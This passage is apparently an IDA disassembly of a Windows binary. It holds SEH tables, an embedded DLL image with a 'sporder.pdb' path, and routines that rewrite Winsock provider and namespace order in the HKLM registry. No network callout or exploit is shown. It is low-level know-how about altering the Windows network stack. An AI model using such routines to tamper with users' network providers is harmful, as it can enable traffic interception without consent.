T I N E ======================================= sub_4029D0 proc near ; DATA XREF: _0:004028C5o xor eax, eax retn sub_4029D0 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4029D4 proc near ; DATA XREF: _0:00402858o jmp dword_401154 sub_4029D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4029DA proc near ; CODE XREF: sub_4029BE+Ap jmp dword_401150 sub_4029DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4029E0 proc near ; CODE XREF: sub_4014F0+118p ; sub_401630+171p jmp dword_4011CC sub_4029E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4029E6 proc near ; CODE XREF: sub_4017D0+9Cp ; sub_4017D0+C9p ... jmp dword_4011C8 sub_4029E6 endp ; =============== S U B R O U T I N E ======================================= sub_4029EC proc near ; CODE XREF: _0:0040297Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_402A44 retn 10h sub_4029EC endp ; =============== S U B R O U T I N E ======================================= sub_402A04 proc near ; CODE XREF: _0:00402A39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 call sub_4026E0 mov ecx, [esp+arg_0] mov edx, [esp+arg_4] test ecx, ecx mov [eax+14h], cl mov [eax+1040h], edx jnz short loc_402A27 push 0FFFFFFFDh call dword_401180+4 pop ecx loc_402A27: ; CODE XREF: sub_402A04+18j push 1 pop eax retn 8 sub_402A04 endp ; --------------------------------------------------------------------------- loc_402A2D: ; DATA XREF: _0:004011D8o jmp $+5 push 600h push 0 call sub_402A04 mov byte_403024, al retn ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402A44 proc near ; CODE XREF: sub_4029EC+10p jmp dword_401100 sub_402A44 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-114h] jmp sub_40268C ; --------------------------------------------------------------------------- loc_402A5B: ; DATA XREF: _0:00402CB4o mov ecx, [ebp-114h] add ecx, 4 jmp sub_40268C ; --------------------------------------------------------------------------- mov ecx, [ebp-114h] add ecx, 8 jmp sub_40268C ; --------------------------------------------------------------------------- mov ecx, [ebp-114h] add ecx, 0Ch jmp sub_40268C ; --------------------------------------------------------------------------- mov ecx, [ebp-114h] add ecx, 10h jmp sub_40268C ; --------------------------------------------------------------------------- mov ecx, [ebp-114h] add ecx, 14h jmp sub_40268C ; --------------------------------------------------------------------------- lea ecx, [ebp-11Ch] jmp loc_401C50 ; --------------------------------------------------------------------------- lea ecx, [ebp-120h] jmp sub_40268C ; --------------------------------------------------------------------------- loc_402AB7: ; DATA XREF: sub_402240-81Eo mov eax, offset dword_402C88 jmp sub_402800 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4026B0 ; --------------------------------------------------------------------------- loc_402AD8: ; DATA XREF: _0:00402D14o mov ecx, [ebp-10h] add ecx, 14h jmp sub_40268C ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 18h jmp sub_40268C ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1Ch jmp sub_40268C ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 20h jmp sub_40268C ; =============== S U B R O U T I N E ======================================= SEH_401C70 proc near ; DATA XREF: sub_401C70+2o mov eax, offset dword_402CE8 jmp sub_402800 SEH_401C70 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+10h] jmp sub_40268C ; =============== S U B R O U T I N E ======================================= SEH_401D20 proc near ; DATA XREF: sub_401D20+2o mov eax, offset dword_402D30 jmp sub_402800 SEH_401D20 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+0Ch] jmp sub_40268C ; --------------------------------------------------------------------------- loc_402B38: ; DATA XREF: _0:00402D84o lea ecx, [ebp+4] jmp sub_40268C ; --------------------------------------------------------------------------- lea ecx, [ebp-1Ch] jmp sub_4026C8 ; =============== S U B R O U T I N E ======================================= SEH_401E60 proc near ; DATA XREF: sub_401E60+2o mov eax, offset dword_402D58 jmp sub_402800 SEH_401E60 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_40268C ; =============== S U B R O U T I N E ======================================= SEH_402050 proc near ; DATA XREF: sub_402050+8o mov eax, offset dword_402D90 jmp sub_402800 SEH_402050 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4026B0 ; --------------------------------------------------------------------------- loc_402B88: ; DATA XREF: _0:00402DE4o mov ecx, [ebp-10h] add ecx, 14h jmp sub_40268C ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 18h jmp sub_40268C ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1Ch jmp sub_40268C ; --------------------------------------------------------------------------- loc_402BA9: ; DATA XREF: _0:004021B2o mov eax, offset dword_402DB8 jmp sub_402800 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40268C ; --------------------------------------------------------------------------- loc_402BC8: ; DATA XREF: _0:00402E24o mov ecx, [ebp-10h] add ecx, 4 jmp sub_40268C ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8 jmp sub_40268C ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0Ch jmp sub_40268C ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 10h jmp sub_40268C ; --------------------------------------------------------------------------- loc_402BF4: ; DATA XREF: _0:00402272o mov eax, offset dword_402DF8 jmp sub_402800 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_40268C ; --------------------------------------------------------------------------- loc_402C08: ; DATA XREF: _0:00402E6Co lea ecx, [ebp-40h] jmp sub_40268C ; --------------------------------------------------------------------------- lea ecx, [ebp-40h] jmp sub_40268C ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_40268C ; --------------------------------------------------------------------------- lea ecx, [ebp-40h] jmp sub_40268C ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_40268C ; --------------------------------------------------------------------------- lea ecx, [ebp-40h] jmp sub_40268C ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_40268C ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_402670 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_40268C ; --------------------------------------------------------------------------- lea ecx, [ebp-44h] jmp sub_40268C ; --------------------------------------------------------------------------- lea ecx, [ebp-38h] jmp sub_40268C ; --------------------------------------------------------------------------- lea ecx, [ebp-48h] jmp sub_40268C ; --------------------------------------------------------------------------- mov ecx, [ebp-40h] jmp sub_40268C ; --------------------------------------------------------------------------- mov ecx, [ebp-34h] jmp sub_40268C ; =============== S U B R O U T I N E ======================================= SEH_4022F0 proc near ; DATA XREF: sub_4022F0+2o mov eax, offset dword_402E40 jmp sub_402800 SEH_4022F0 endp ; --------------------------------------------------------------------------- align 8 dword_402C88 dd 19930520h, 8, 402CA8h, 5 dup(0) ; DATA XREF: _0:loc_402AB7o dd 0FFFFFFFFh, 402A50h, 0 dd offset loc_402A5B dd 1, 402A69h, 2, 402A77h, 3, 402A85h, 4, 402A93h, 5, 402AA1h dd 6, 402AACh dword_402CE8 dd 19930520h, 5, 402D08h, 5 dup(0) ; DATA XREF: SEH_401C70o dd 0FFFFFFFFh, 402AD0h, 0 dd offset loc_402AD8 dd 1, 402AE3h, 2, 402AEEh, 3, 402AF9h dword_402D30 dd 19930520h, 1, 402D50h, 5 dup(0) ; DATA XREF: SEH_401D20o dd 0FFFFFFFFh, 402B10h dword_402D58 dd 19930520h, 3, 402D78h, 5 dup(0) ; DATA XREF: SEH_401E60o dd 0FFFFFFFFh, 402B30h, 0 dd offset loc_402B38 dd 1, 402B40h dword_402D90 dd 19930520h, 1, 402DB0h, 5 dup(0) ; DATA XREF: SEH_402050o dd 0FFFFFFFFh, 402B60h dword_402DB8 dd 19930520h, 4, 402DD8h, 5 dup(0) ; DATA XREF: _0:loc_402BA9o dd 0FFFFFFFFh, 402B80h, 0 dd offset loc_402B88 dd 1, 402B93h, 2, 402B9Eh dword_402DF8 dd 19930520h, 5, 402E18h, 5 dup(0) ; DATA XREF: _0:loc_402BF4o dd 0FFFFFFFFh, 402BC0h, 0 dd offset loc_402BC8 dd 1, 402BD3h, 2, 402BDEh, 3, 402BE9h dword_402E40 dd 19930520h, 11h, 402E60h, 5 dup(0) ; DATA XREF: SEH_4022F0o dd 0FFFFFFFFh, 402C00h, 0 dd offset loc_402C08 dd 0FFFFFFFFh, 402C10h, 2, 402C18h, 0FFFFFFFFh, 402C20h dd 4, 402C28h, 0FFFFFFFFh, 402C30h, 6, 402C38h, 0FFFFFFFFh dd 402C40h, 8, 402C48h, 9, 402C50h, 8, 402C50h, 0Bh, 402C58h dd 0Ch, 402C60h, 0Bh, 402C60h, 0Eh, 402C68h, 0Eh, 402C70h dword_402EE8 dd 73E6BA70h, 1, 3 dup(0) ; DATA XREF: sub_402140o ; _0:loc_402160o dd 1, 4 dup(0) dd 1, 0 dd 0E0h, 0Bh dup(0) dd 200h, 180h, 0 dd 400000h, 0 dd 14234Ah, 0Ah, 994DD8h, 3 dup(0) dd 994DC8h, 994DE8h, 994E10h, 9 dup(0) dd 200h, 2 dup(0) dword_402FB0 dd 73E6BA70h, 4 dup(0) ; DATA XREF: sub_402180+2o ; _0:loc_4021A0o ... dd 993BA8h, 993BF8h, 993C48h, 73EA1C58h, 3 dup(0) dword_402FE0 dd 47A71136h ; DATA XREF: sub_4014A0+31w ; sub_4017D0+216r align 8 dword_402FE8 dd 9939C8h, 993B58h, 993A18h, 993AB8h, 993A68h, 993B08h ; DATA XREF: sub_402240o ; _0:loc_402260o ... dword_403000 dd 47A70000h ; DATA XREF: sub_4014A0r ; sub_4014A0+1Cw align 8 dword_403008 dd 3 dup(0) ; DATA XREF: sub_401C70+7Bo ; sub_4022F0+18Ao dword_403014 dd 0 ; DATA XREF: _0:004028F1r dword_403018 dd 0 ; DATA XREF: _0:004028E5r dword_40301C dd 0 ; DATA XREF: _0:004028A4r dword_403020 dd 0 ; DATA XREF: _0:00402896r byte_403024 db 1 ; DATA XREF: _0:00402A3Ew align 4 dword_403028 dd 0 ; DATA XREF: _0:004028B3w dword_40302C dd 0FFFFFFFFh ; DATA XREF: sub_402810:loc_402825o ; _0:00402882w dword_403030 dd 0FFFFFFFFh ; DATA XREF: sub_402810r ; sub_402810+1Ao ... align 10h dd 34F4h, 4 dup(0) dd 3596h, 4 dup(0) dd 3294h, 4 dup(0) dd 32FAh, 4 dup(0) dd 3620h, 4 dup(0) dd 35E4h, 6 dup(0) dd 3582h, 356Ah, 3552h, 353Eh, 352Ch, 351Ch, 350Eh, 0 dd 33EAh, 33D8h, 33FAh, 34C6h, 34DAh, 34E2h, 3410h, 341Ch dd 342Ch, 3442h, 3456h, 346Ch, 3484h, 3494h, 34A6h, 34B6h dd 0 dd 80001186h, 800009FAh, 800009D0h, 80001663h, 80000F52h dd 80000441h, 8000144Fh, 8000095Ch, 80000D12h, 800014B4h dd 800014B6h, 80000AA5h, 80000FEFh, 8000125Ah, 800014BBh dd 800014A9h, 80001652h, 80000BA6h, 80000C4Bh, 800018E7h dd 80001171h, 80000C40h, 80000CBEh, 80000BA9h, 80000C09h dd 80000BA0h, 80000EF6h, 80000EF7h, 80000EF1h, 80000C07h dd 80000FF0h, 8000120Eh, 80001148h, 80000E9Ah, 80000231h dd 80000339h, 8000032Fh, 8000106Bh, 800010B2h, 80000628h dd 80000490h, 80000162h, 80001442h, 800007BBh, 80000299h dd 800004DFh, 8000021Dh, 80000219h, 80000321h, 80000217h dd 8000021Ch, 8000106Ah, 8000039Ch, 8000035Ah, 80000320h dd 8000035Ch, 80000CBBh, 80001241h, 0 ; --------------------------------------------------------------------------- retf 33h ; --------------------------------------------------------------------------- align 4 dd 33B6h, 33A4h, 3396h, 3386h, 3376h, 3362h, 3356h, 3346h dd 333Ch, 3334h, 3326h, 331Eh, 3638h, 329Eh, 32A8h, 3314h dd 3306h, 32F2h, 32E8h, 32E0h, 32D8h, 32C4h, 32BAh, 32B2h dd 0 dd 35F0h, 3602h, 3612h, 0 dd 35D0h, 35BAh, 9Ch dup(0) dd 53550000h, 32335245h, 6C6C642Eh, 26h dup(0) dd 4C454853h, 2E32334Ch, 6C6C64h, 33656C6Fh, 6C642E32h dd 6Ch, 1Ch dup(0) dd 494E4957h, 2E54454Eh, 6C6C64h, 2D6h dup(0) dd 440003h, 4C004Ch, 905A4Dh, 3, 4, 0FFFFh, 0B8h, 0 dd 40h, 8 dup(0) dd 0E8h, 0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0 dd 0EC6425DDh, 3 dup(0BF0A4499h), 0BF054C1Ah, 0BF0A4498h dd 0BF574C1Ah, 0BF0A449Eh, 0BF0B4499h, 0BF0A4480h, 0BF564C1Ah dd 0BF0A4498h, 0BF554C17h, 0BF0A449Dh, 0BF544C1Ah, 0BF0A4498h dd 0BF504C1Ah, 0BF0A4498h, 68636952h, 0BF0A4499h, 6 dup(0) dd 4550h, 4014Ch, 3E80257Ch, 2 dup(0) dd 210E00E0h, 0A07010Bh, 1000h, 1A0E00h, 0 dd 1130h, 1000h, 2000h, 47A70000h, 1000h, 200h, 2 dup(20005h) dd 4, 0 dd 1A5000h, 400h, 5086h, 4000002h, 40000h, 1000h, 100000h dd 1000h, 0 dd 10h, 1F70h, 75h, 1D00h, 3Ch, 1A3000h, 400h, 4 dup(0) dd 1A4000h, 110h, 1070h, 1Ch, 0Ah dup(0) dd 1000h, 64h, 6 dup(0) dd 7865742Eh, 74h, 0FE5h, 2 dup(1000h), 400h, 3 dup(0) dd 60000020h, 7461642Eh, 61h, 1A0188h, 2000h, 200h, 1400h dd 3 dup(0) dd 0C0000040h, 7273722Eh, 63h, 400h, 1A3000h, 400h, 1600h dd 3 dup(0) dd 40000040h, 6C65722Eh, 636Fh, 75Ch, 1A4000h, 800h, 1A00h dd 3 dup(0) dd 42000040h, 60h dup(0) dd 1F2Eh, 1F20h, 1F10h, 1EFEh, 1F42h, 0 dd 1DE2h, 1DF8h, 1E08h, 1E1Ah, 1E2Eh, 1E3Ah, 1DD6h, 1E64h dd 1E7Ah, 1E90h, 1EAAh, 1EBEh, 1ED2h, 1DCAh, 1DBEh, 1DAEh dd 1DA0h, 1E54h, 5 dup(0) dd 3E800169h, 0 dd 2, 1Ch, 110Ch, 50Ch, 6B636150h, 61436465h, 6F6C6174h dd 65744967h, 6Dh, 5Ch, 57435357h, 65746972h, 766F7250h dd 72656469h, 6564724Fh, 72h, 5F325357h, 442E3233h, 4C4Ch dd 57435357h, 65746972h, 656D614Eh, 63617053h, 64724F65h dd 7265h, 61686E55h, 656C646Eh, 63784564h, 69747065h, 69466E6Fh dd 7265746Ch, 0 dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 aNb10 db 'NB10',0 align 4 dd 3E800169h, 1, 726F7073h, 2E726564h, 626470h, 2 dup(0) ; --------------------------------------------------------------------------- xor eax, eax inc eax retn 0Ch ; --------------------------------------------------------------------------- push ebp mov eax, 2384h lea ebp, [esp-498h] call sub_405258 mov eax, ds:47A72134h push ebx push 47A710BCh mov [ebp+494h], eax call dword ptr ds:47A71024h xor ebx, ebx cmp eax, ebx jz short loc_404720 push 47A710A4h push eax call dword ptr ds:47A71020h cmp eax, ebx jz short loc_404720 push dword ptr [ebp+4A4h] push dword ptr [ebp+4A0h] call eax ; _acmdln jmp loc_404AD7 ; --------------------------------------------------------------------------- loc_404720: ; CODE XREF: _0:004046FBj _0:0040470Bj cmp dword ptr [ebp+4A4h], 3E8h mov [ebp+80h], ebx jbe short loc_40473A push 8 pop eax jmp loc_404AD7 ; --------------------------------------------------------------------------- loc_40473A: ; CODE XREF: _0:00404730j push 47A7211Ch push ebx push ebx call dword ptr ds:47A7101Ch cmp eax, ebx mov [ebp+68h], eax jnz short loc_404758 mov eax, 277Bh jmp loc_404AD7 ; --------------------------------------------------------------------------- loc_404758: ; CODE XREF: _0:0040474Cj push ebx push dword ptr [ebp+68h] call dword ptr ds:47A71018h cmp eax, 102h jnz short loc_404778 mov dword ptr [ebp+80h], 2AFAh jmp loc_404AC8 ; --------------------------------------------------------------------------- loc_404778: ; CODE XREF: _0:00404767j push esi lea eax, [ebp+7Ch] push eax push 1 push ebx mov esi, 47A72010h push esi push 80000002h call dword ptr ds:47A71010h cmp eax, ebx jz short loc_4047A0 mov [ebp+80h], eax jmp loc_404ABE ; --------------------------------------------------------------------------- loc_4047A0: ; CODE XREF: _0:00404793j push edi lea eax, [ebp+70h] push eax lea eax, [ebp+84h] push eax lea eax, [ebp+60h] push eax push ebx push 47A72070h push dword ptr [ebp+7Ch] mov dword ptr [ebp+70h], 104h call dword ptr ds:47A71000h push dword ptr [ebp+7Ch] mov edi, eax call dword ptr ds:47A71004h cmp edi, ebx jz short loc_4047E0 mov [ebp+80h], edi jmp loc_404ABD ; --------------------------------------------------------------------------- loc_4047E0: ; CODE XREF: _0:004047D3j lea eax, [ebp+84h] push eax push 47A72048h call dword ptr ds:47A71030h test eax, eax jz short loc_404805 loc_4047F6: ; CODE XREF: _0:00404981j _0:00404998j ... mov dword ptr [ebp+80h], 2726h jmp loc_404ABD ; --------------------------------------------------------------------------- loc_404805: ; CODE XREF: _0:004047F4j mov ebx, ds:47A7104Ch push esi lea eax, [ebp+390h] push eax call ebx mov esi, ds:47A71050h mov edi, 47A710A0h push edi lea eax, [ebp+390h] push eax call esi push 47A72048h lea eax, [ebp+390h] push eax call esi push edi lea eax, [ebp+390h] push eax call esi push 47A720A8h lea eax, [ebp+390h] push eax call esi lea eax, [ebp+7Ch] push eax push 9 push 0 lea eax, [ebp+390h] push eax push 80000002h call dword ptr ds:47A71010h test eax, eax jnz loc_404AB7 and [ebp+78h], eax mov dword ptr [ebp+6Ch], 47A72140h mov dword ptr [ebp+74h], 47BD1A40h loc_404883: ; CODE XREF: _0:0040497Bj lea eax, [ebp+54h] push eax xor eax, eax push eax push eax push eax lea eax, [ebp+5Ch] push eax lea eax, [ebp+188h] push eax push dword ptr [ebp+78h] mov dword ptr [ebp+5Ch], 104h push dword ptr [ebp+7Ch] mov byte ptr [ebp+188h], 0 call dword ptr ds:47A71008h cmp eax, 103h jz loc_404986 test eax, eax jnz loc_404AB7 lea eax, [ebp+390h] push eax lea eax, [ebp+28Ch] push eax call ebx push edi lea eax, [ebp+28Ch] push eax call esi lea eax, [ebp+188h] push eax lea eax, [ebp+28Ch] push eax call esi lea eax, [ebp+28Ch] push eax push dword ptr [ebp+74h] call ebx lea eax, [ebp+64h] push eax push 9 push 0 lea eax, [ebp+28Ch] push eax push 80000002h call dword ptr ds:47A71010h test eax, eax jnz loc_404AB7 lea eax, [ebp+70h] push eax push dword ptr [ebp+6Ch] lea eax, [ebp+60h] push eax push 0 push 47A7108Ch push dword ptr [ebp+64h] mov dword ptr [ebp+70h], 378h mov dword ptr [ebp+60h], 3 call dword ptr ds:47A71000h test eax, eax mov ecx, [ebp+70h] mov edx, [ebp+78h] mov ds:47C111E0h[edx*4], ecx jnz loc_404AB7 push dword ptr [ebp+64h] call dword ptr ds:47A71004h add dword ptr [ebp+74h], 104h inc dword ptr [ebp+78h] add dword ptr [ebp+6Ch], 378h cmp dword ptr [ebp+74h], 47C111E0h jl loc_404883 jmp loc_4047F6 ; --------------------------------------------------------------------------- loc_404986: ; CODE XREF: _0:004048B6j push dword ptr [ebp+7Ch] call dword ptr ds:47A71004h mov ebx, [ebp+4A4h] cmp [ebp+78h], ebx jnz loc_4047F6 mov edx, ebx shl edx, 2 mov ecx, edx mov esi, ecx shr ecx, 2 xor eax, eax lea edi, [ebp-0F4Ch] rep stosd mov ecx, esi and ecx, 3 rep stosb mov ecx, edx shr ecx, 2 xor eax, eax lea edi, [ebp-1EECh] rep stosd mov ecx, edx and ecx, 3 xor esi, esi test ebx, ebx rep stosb jbe short loc_404A23 mov edi, [ebp+4A0h] lea eax, [ebp-0F4Ch] sub edi, eax mov dword ptr [ebp+4A4h], 47A72268h loc_4049EF: ; CODE XREF: _0:00404A21j mov eax, [ebp+4A4h] mov ecx, [eax] xor edx, edx loc_4049F9: ; CODE XREF: _0:00404A12j lea eax, [ebp+edx*4-0F4Ch] cmp ecx, [edi+eax] jnz short loc_404A0F or dword ptr [eax], 0FFFFFFFFh mov [ebp+edx*4-1EECh], esi loc_404A0F: ; CODE XREF: _0:00404A03j inc edx cmp edx, ebx jb short loc_4049F9 add dword ptr [ebp+4A4h], 378h inc esi cmp esi, ebx jb short loc_4049EF loc_404A23: ; CODE XREF: _0:004049D5j xor eax, eax test ebx, ebx jbe short loc_404A3C loc_404A29: ; CODE XREF: _0:00404A3Aj cmp dword ptr [ebp+eax*4-0F4Ch], 0FFFFFFFFh jnz loc_4047F6 inc eax cmp eax, ebx jb short loc_404A29 loc_404A3C: ; CODE XREF: _0:00404A27j xor edi, edi test ebx, ebx jbe short loc_404ABD mov dword ptr [ebp+4A4h], 47BD1A40h loc_404A4C: ; CODE XREF: _0:00404AB3j mov esi, [ebp+edi*4-1EECh] cmp esi, edi jz short loc_404AA6 lea eax, [ebp+7Ch] push eax push 2 push 0 push dword ptr [ebp+4A4h] push 80000002h call dword ptr ds:47A71010h test eax, eax jnz short loc_404AB7 push dword ptr ds:47C111E0h[edi*4] imul esi, 378h add esi, 47A72140h push esi push 3 push eax push 47A7108Ch push dword ptr [ebp+7Ch] call dword ptr ds:47A7100Ch test eax, eax jnz short loc_404AB7 push dword ptr [ebp+7Ch] call dword ptr ds:47A71004h loc_404AA6: ; CODE XREF: _0:00404A55j add dword ptr [ebp+4A4h], 104h inc edi cmp edi, ebx jb short loc_404A4C jmp short loc_404ABD ; --------------------------------------------------------------------------- loc_404AB7: ; CODE XREF: _0:0040486Cj _0:004048BEj ... mov [ebp+80h], eax loc_404ABD: ; CODE XREF: _0:004047DBj _0:00404800j ... pop edi loc_404ABE: ; CODE XREF: _0:0040479Bj push dword ptr [ebp+68h] call dword ptr ds:47A71054h pop esi loc_404AC8: ; CODE XREF: _0:00404773j push dword ptr [ebp+68h] call dword ptr ds:47A71058h mov eax, [ebp+80h] loc_404AD7: ; CODE XREF: _0:0040471Bj _0:00404735j ... mov ecx, [ebp+494h] pop ebx call sub_4051B0 add ebp, 498h leave retn 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404AED proc near ; CODE XREF: _0:00404F2Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi mov esi, ds:47A71000h push edi mov edi, [ebp+arg_4] lea eax, [ebp+var_4] push eax lea eax, [edi+10h] push eax lea eax, [ebp+arg_4] push eax push 0 push 47A720B8h push [ebp+arg_0] mov [ebp+var_4], 104h call esi test eax, eax jnz loc_404BFA push ebx push 4 pop ebx lea eax, [ebp+var_4] push eax lea eax, [edi+114h] push eax lea eax, [ebp+arg_4] push eax push 0 push 47A720C8h push [ebp+arg_0] mov [ebp+var_4], ebx call esi test eax, eax jnz loc_404BF9 lea eax, [ebp+var_4] push eax lea eax, [edi+118h] push eax lea eax, [ebp+arg_4] push eax push 0 push 47A720D0h push [ebp+arg_0] mov [ebp+var_4], 104h call esi test eax, eax jnz loc_404BF9 lea eax, [ebp+var_4] push eax push edi lea eax, [ebp+arg_4] push eax push 0 push 47A720DCh push [ebp+arg_0] mov [ebp+var_4], 10h call esi test eax, eax jnz short loc_404BF9 lea eax, [ebp+var_4] push eax lea eax, [edi+21Ch] push eax lea eax, [ebp+arg_4] push eax push 0 push 47A720E8h push [ebp+arg_0] mov [ebp+var_4], ebx call esi test eax, eax jnz short loc_404BF9 lea eax, [ebp+var_4] push eax lea eax, [edi+220h] push eax lea eax, [ebp+arg_4] push eax push 0 push 47A72100h push [ebp+arg_0] mov [ebp+var_4], ebx call esi test eax, eax jnz short loc_404BF9 lea eax, [ebp+var_4] push eax add edi, 224h push edi lea eax, [ebp+arg_4] push eax push 0 push 47A72114h push [ebp+arg_0] mov [ebp+var_4], ebx call esi loc_404BF9: ; CODE XREF: sub_404AED+5Aj ; sub_404AED+84j ... pop ebx loc_404BFA: ; CODE XREF: sub_404AED+30j pop edi pop esi leave retn 8 sub_404AED endp ; =============== S U B R O U T I N E ======================================= sub_404C00 proc near ; CODE XREF: _0:004050D1p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov edi, [esp+0Ch+arg_4] lea esi, [edi+10h] push esi call dword ptr ds:47A71028h mov ebx, [esp+0Ch+arg_0] inc eax push eax push esi mov esi, ds:47A7100Ch push 1 push 0 push 47A720B8h push ebx call esi test eax, eax jnz loc_404CC2 push 4 lea eax, [edi+114h] push eax push 4 push 0 push 47A720C8h push ebx call esi test eax, eax jnz short loc_404CC2 push ebp lea ebp, [edi+118h] push ebp call dword ptr ds:47A71028h inc eax push eax push ebp push 1 push 0 push 47A720D0h push ebx call esi test eax, eax jnz short loc_404CC1 push 10h push edi push 3 push eax push 47A720DCh push ebx call esi test eax, eax jnz short loc_404CC1 push 4 pop ebp push ebp lea eax, [edi+21Ch] push eax push ebp push 0 push 47A720E8h push ebx call esi test eax, eax jnz short loc_404CC1 push ebp lea eax, [edi+220h] push eax push ebp push 0 push 47A72100h push ebx call esi test eax, eax jnz short loc_404CC1 push ebp add edi, 224h push edi push ebp push eax push 47A72114h push ebx call esi loc_404CC1: ; CODE XREF: sub_404C00+6Aj ; sub_404C00+7Cj ... pop ebp loc_404CC2: ; CODE XREF: sub_404C00+2Cj ; sub_404C00+49j pop edi pop esi pop ebx retn 8 sub_404C00 endp ; --------------------------------------------------------------------------- push ebp mov eax, 2384h lea ebp, [esp-498h] call sub_405258 mov eax, ds:47A72134h push edi push 47A710BCh mov [ebp+494h], eax call dword ptr ds:47A71024h xor edi, edi cmp eax, edi jz short loc_404D1A push 47A710C8h push eax call dword ptr ds:47A71020h cmp eax, edi jz short loc_404D1A push dword ptr [ebp+4A4h] push dword ptr [ebp+4A0h] call eax ; _acmdln jmp loc_405114 ; --------------------------------------------------------------------------- loc_404D1A: ; CODE XREF: _0:00404CF5j _0:00404D05j cmp dword ptr [ebp+4A4h], 3E8h mov [ebp+80h], edi jbe short loc_404D34 push 8 pop eax jmp loc_405114 ; --------------------------------------------------------------------------- loc_404D34: ; CODE XREF: _0:00404D2Aj push 47A72128h push edi push edi call dword ptr ds:47A7101Ch cmp eax, edi mov [ebp+70h], eax jnz short loc_404D52 mov eax, 277Bh jmp loc_405114 ; --------------------------------------------------------------------------- loc_404D52: ; CODE XREF: _0:00404D46j push edi push dword ptr [ebp+70h] call dword ptr ds:47A71018h cmp eax, 102h jnz short loc_404D72 mov dword ptr [ebp+80h], 0AAh jmp loc_405105 ; --------------------------------------------------------------------------- loc_404D72: ; CODE XREF: _0:00404D61j push esi lea eax, [ebp+7Ch] push eax push 1 push edi mov esi, 47A72010h push esi push 80000002h call dword ptr ds:47A71010h cmp eax, edi jz short loc_404D9A mov [ebp+80h], eax jmp loc_4050FB ; --------------------------------------------------------------------------- loc_404D9A: ; CODE XREF: _0:00404D8Dj push ebx lea eax, [ebp+64h] push eax lea eax, [ebp+84h] push eax lea eax, [ebp+5Ch] push eax push edi push 47A7208Ch push dword ptr [ebp+7Ch] mov dword ptr [ebp+64h], 104h call dword ptr ds:47A71000h push dword ptr [ebp+7Ch] mov ebx, eax call dword ptr ds:47A71004h cmp ebx, edi jz short loc_404DDA mov [ebp+80h], ebx jmp loc_4050FA ; --------------------------------------------------------------------------- loc_404DDA: ; CODE XREF: _0:00404DCDj lea eax, [ebp+84h] push eax push 47A7205Ch call dword ptr ds:47A71030h test eax, eax jz short loc_404DFF loc_404DF0: ; CODE XREF: _0:00404F5Ej _0:00404F75j ... mov dword ptr [ebp+80h], 2726h jmp loc_4050FA ; --------------------------------------------------------------------------- loc_404DFF: ; CODE XREF: _0:00404DEEj mov ebx, ds:47A7104Ch push esi lea eax, [ebp+390h] push eax call ebx mov esi, ds:47A71050h mov edi, 47A710A0h push edi lea eax, [ebp+390h] push eax call esi push 47A7205Ch lea eax, [ebp+390h] push eax call esi push edi lea eax, [ebp+390h] push eax call esi push 47A720A8h lea eax, [ebp+390h] push eax call esi lea eax, [ebp+7Ch] push eax push 9 push 0 lea eax, [ebp+390h] push eax push 80000002h call dword ptr ds:47A71010h test eax, eax jnz loc_4050F4 and [ebp+78h], eax mov dword ptr [ebp+6Ch], 47B4AE00h mov dword ptr [ebp+74h], 47BD1A40h loc_404E7D: ; CODE XREF: _0:00404F58j lea eax, [ebp+54h] push eax xor eax, eax push eax push eax push eax lea eax, [ebp+60h] push eax lea eax, [ebp+188h] push eax push dword ptr [ebp+78h] mov dword ptr [ebp+60h], 104h push dword ptr [ebp+7Ch] mov byte ptr [ebp+188h], 0 call dword ptr ds:47A71008h cmp eax, 103h jz loc_404F63 test eax, eax jnz loc_4050F4 lea eax, [ebp+390h] push eax lea eax, [ebp+28Ch] push eax call ebx push edi lea eax, [ebp+28Ch] push eax call esi lea eax, [ebp+188h] push eax lea eax, [ebp+28Ch] push eax call esi lea eax, [ebp+28Ch] push eax push dword ptr [ebp+74h] call ebx lea eax, [ebp+68h] push eax push 9 push 0 lea eax, [ebp+28Ch] push eax push 80000002h call 